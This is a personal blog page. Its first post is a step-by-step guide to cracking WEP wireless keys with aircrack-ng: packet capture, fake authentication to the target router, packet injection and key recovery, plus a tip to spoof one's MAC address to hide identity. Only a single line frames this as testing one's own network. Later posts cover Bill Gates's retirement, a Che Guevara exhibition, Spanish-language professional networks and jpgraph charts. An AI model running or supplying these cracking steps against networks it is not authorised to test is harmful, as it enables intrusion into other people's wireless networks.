A friend of mine asked me how people does to Crack Wireless WEP-Keys. So I though about sharing with everybody.
Ubuntu and Debian already have the program in their packages:
$ apt-cache search aircrack
aircrack - wireless WEP/WPA cracker
So just get it from there with apt-get install. Other distros can take it from Aircrack-ng website. In the same website there is lots of interesting info and steps of how to do it. This is how I did it:
# 1st step: Start capturing packets and saving them in a text file
airodump-ng -w wepsave.txt.ivs --channel 11 --bssid 00:14:BF:B2:1A:DB ra0

# 2nd step: Log in to the router. You need to get logged into the router if you want to inject packets.
sudo aireplay-ng -1 30 -o 10 -e 'ESSIDName' -a 00:14:BF:B2:1A:DB -h 00:19:D3:32:42:9C ra0
(Use a false MAC adress if you don’t want to reveal yours / Replace RA0 with Your wireless interface)

# 3rd step: Inject some packets. It gets really faster like this.
sudo aireplay-ng -3 -b 00:14:BF:B2:1A:DB -h 00:19:D3:32:42:9C ra0

# Last step. CRACK the key:
aircrack-ng -f 14 wepsave.txt.ivs wepsave.txt.ivs-01.cap wepsave.txt.ivs-02.cap

That’s it. Cross fingers and wait. If everything goes fine you will end up with a Nice message like ” SUCCESS. The key is XXXXXXXXX “
Use this learning to test your own wireless security.

SOME THINGS TO SHARE
Bill Gates last day at Microsoft : Finally Bill does a favour to humanity and retires from Microsoft. Rumours says he is now using Ubuntu and downloading music with bittorrent.

Why your domain name sucks

In my last trip to Barcelona I visited the exposition CH€ about Ernesto Guevara.

Ernesto, later called “El Che” by the Cubans always caught my attention for 2 reasons: His Courage and his dedication to work until the last minute of his life.

(TRANSLATION PENDING)

That two reasons, almost extinguished in most youngsters today, summed that he was one of the leaders of the Cuban revolution have made him one of my favorite heroes.

Today I’ve been reading news about spanish speaking communities and I had the idea to make a small research about them. There is a more complete list in Loogic rank. I start the small list with the proffesional networks and then I follow with the rest.

• 
  Neurona.com Bought by Xing
  Users: 650.000
  Active users: 75.000 (via Marqueze )
• 
  Econozco.com Also bought by Xing
  Active users: 30.000“With almost 150.000 users, this network has achieved a critical userbase that allows an optimum viral growth, by user recommendations. Another fundamental advantage is that this network is in spanish that is one of the most important languages in the world speaken by more than 400 millon people and the second language in importance”. ( Lars Hinrich Xing’s Ceo ) Note: I translated this text from a spanish document so there may be not the exact words that Lars said.
• 
  Xing.com with this 2 adquisitions should be the most big professional latin speaking networks. From the sources I researched, Xing has 2 millon users globally in more than 15 different languages.
• 
  Infojobs. This network is a very important one for me because thanks to this network I found my work in Spain. It’s the first pro-network I was aware of when I was living in Argentina and almost all my friends wanted to leave the country.

Lately I see there is a growing interest in the communites ala “social web” in Spanish.

Tonight I’ve playing with a library that I’ve used many times in other projects:
The jpgraph graphic charts lib.

This are the first two graph examples with data gathered from Technorati:

• Tag Wars: Apple vs Microsoft
  A war between the tags “galli” and “lloricas”
  
• Total posts by category of en.fasani.org

You can play with it and change data to refresh the graphic result. I decided that I will start programming more frequently since this year I want to pass the Zend PHP certification exam. So from time to time I’ll be adding new things on the lab and I will blog to get some feedback.
